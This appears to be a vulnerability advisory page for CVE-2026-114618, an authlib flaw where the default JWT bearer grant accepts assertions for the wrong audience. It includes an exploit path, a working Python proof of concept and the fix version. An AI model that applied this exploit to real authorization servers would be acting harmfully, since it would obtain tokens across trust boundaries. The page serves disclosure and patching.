CVE-2026-114618 is a medium-severity (CVSS 6.8) Improper Authentication vulnerability in authlib. A fix is available for authlib — see the affected versions and patch details below.
Authlib: Default JWT bearer grant accepts assertions for the wrong audience
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-114618 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 396,257 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
authlibReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Description
Summary
Authlib's default RFC 7523 JWT bearer grant leaves get_audiences() empty, so verify_claims() only checks that an aud claim exists instead of requiring it to match the current authorization server's token endpoint. An attacker holding a legitimately issued JWT assertion for any audience can present it to a different authorization server sharing the same signing key and obtain an access token.
To be completely transparent, AI tools helped surface it. However, we have independently reproduced and carefully validated the issue. We follow responsible disclosure practices and are sharing this privately.
Affected Entrypoints
authlib.oauth2.rfc7523.JWTBearerGrant— defaultget_audiences()returns empty listauthlib.jose.jwt.decode()withclaims_optionsfor audience validationauthlib.integrations.flask_oauth2.ResourceProtector.validate_request()when audience checking is enabled
Exploit Path
1. Attacker authenticates to Service A (low-privilege)
2. Authorization server issues JWT with "aud": "https://evil.test/token"
3. Attacker presents this assertion to Service B's token endpoint
4. Service B uses default JWTBearerGrant (get_audiences() = [])
5. verify_claims() only checks aud *exists*, not its value
6. Service B issues an access token — audience bypass achieved
Proof of Concept
#!/usr/bin/env python3
"""
Demonstrates that the default JWTBearerGrant accepts JWT assertions
whose audience does not match the token endpoint, while a strict
audience override correctly rejects them.
"""
import json
import os
import sys
from joserfc.jwk import KeySet, OctKey
WRONG_AUDIENCE = "https://evil.test/token"
EXPECTED_AUDIENCE = "https://provider.test/token"
GRANT_TYPE = "urn:ietf:params:oauth:grant-type:jwt-bearer"
def build_and_exercise(strict_audience: bool) -> tuple[int, dict]:
from authlib.oauth2.rfc7523 import JWTBearerGrant as BaseJWTBearerGrant
# Uses Authlib's own Flask test fixtures
from tests.flask.test_oauth2.models import Client, User, db
from tests.flask.test_oauth2.oauth2_server import (
create_authorization_server, create_flask_app,
)
class JWTBearerGrant(BaseJWTBearerGrant):
def resolve_issuer_client(self, issuer):
return Client.query.filter_by(client_id=issuer).first()
def resolve_client_public_key(self, client):
return KeySet([
OctKey.import_key("foo", {"kid": "1"}),
OctKey.import_key("bar", {"kid": "2"}),
])
def authenticate_user(self, subject):
return None
def has_granted_permission(self, client, user):
return True
# Only override get_audiences when testing strict mode
if strict_audience:
def get_audiences(self):
return [EXPECTED_AUDIENCE]
app = create_flask_app()
os.environ["AUTHLIB_INSECURE_TRANSPORT"] = "true"
with app.app_context():
db.init_app(app)
db.create_all()
user = User(username="demo-user")
db.session.add(user)
db.session.commit()
client = Client(
user_id=user.id,
client_id="client-id",
client_secret="client-secret",
)
client.set_client_metadata({
"scope": "profile",
"redirect_uris": ["https://client.test/authorized"],
"grant_types": [GRANT_TYPE],
})
db.session.add(client)
db.session.commit()
server = create_authorization_server(app)
server.register_grant(JWTBearerGrant)
# Sign assertion with WRONG audience
assertion = JWTBearerGrant.sign(
"foo",
issuer="client-id",
audience=WRONG_AUDIENCE, # <-- Not the expected audience
subject=None,
header={"alg": "HS256", "kid": "1"},
)
rv = app.test_client().post(
"/oauth/token",
data={"grant_type": GRANT_TYPE, "assertion": assertion},
)
body = json.loads(rv.data)
db.session.remove()
db.drop_all()
return rv.status_code, body
def main() -> int:
# Test 1: Default grant (no audience enforcement)
vuln_status, vuln_body = build_and_exercise(strict_audience=False)
# Test 2: Strict audience grant (correct behavior)
strict_status, strict_body = build_and_exercise(strict_audience=True)
result = {
"wrong_audience": WRONG_AUDIENCE,
"expected_audience": EXPECTED_AUDIENCE,
"vulnerable_status": vuln_status,
"vulnerable_body": vuln_body,
"strict_status": strict_status,
"strict_body": strict_body,
}
print(json.dumps(result, indent=2, sort_keys=True))
if (
vuln_status == 200
and "access_token" in vuln_body
and strict_body.get("error") == "invalid_grant"
):
print(
"POC_SUCCESS: default JWTBearerGrant issued an access token for "
"an assertion whose aud did not match the token endpoint, while "
"strict audience validation rejected the same assertion."
)
return 0
print("POC_FAILURE: expected token issuance under default grant "
"and invalid_grant under strict audience control.")
return 1
if __name__ == "__main__":
raise SystemExit(main())
Observed Result
- Default grant (vulnerable): HTTP 200,
access_tokenissued despiteaud: "https://evil.test/token" - Strict grant (fixed): HTTP 400,
error: "invalid_grant"— correctly rejects mismatched audience - Confirms the default
get_audiences()returns empty, so audience validation is effectively skipped
Impact
- Vulnerability Type: CWE-287 — Improper Authentication
- An attacker with a valid JWT assertion for any service can use it to obtain tokens from a different service sharing the same signing keys
- Particularly dangerous in microservice architectures where services share identity infrastructure
- Enables unauthorized access escalation across trust boundaries
- The vulnerability is in the default behavior — most integrations won't override
get_audiences()
Credit
Reported by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | authlib | all versions | 1.9.0pip install --upgrade 'authlib==1.9.0' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for authlib, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update authlib to 1.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-114618 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is CVE-2026-114618 in your dependencies?
Find it across PyPI, including transitive dependencies.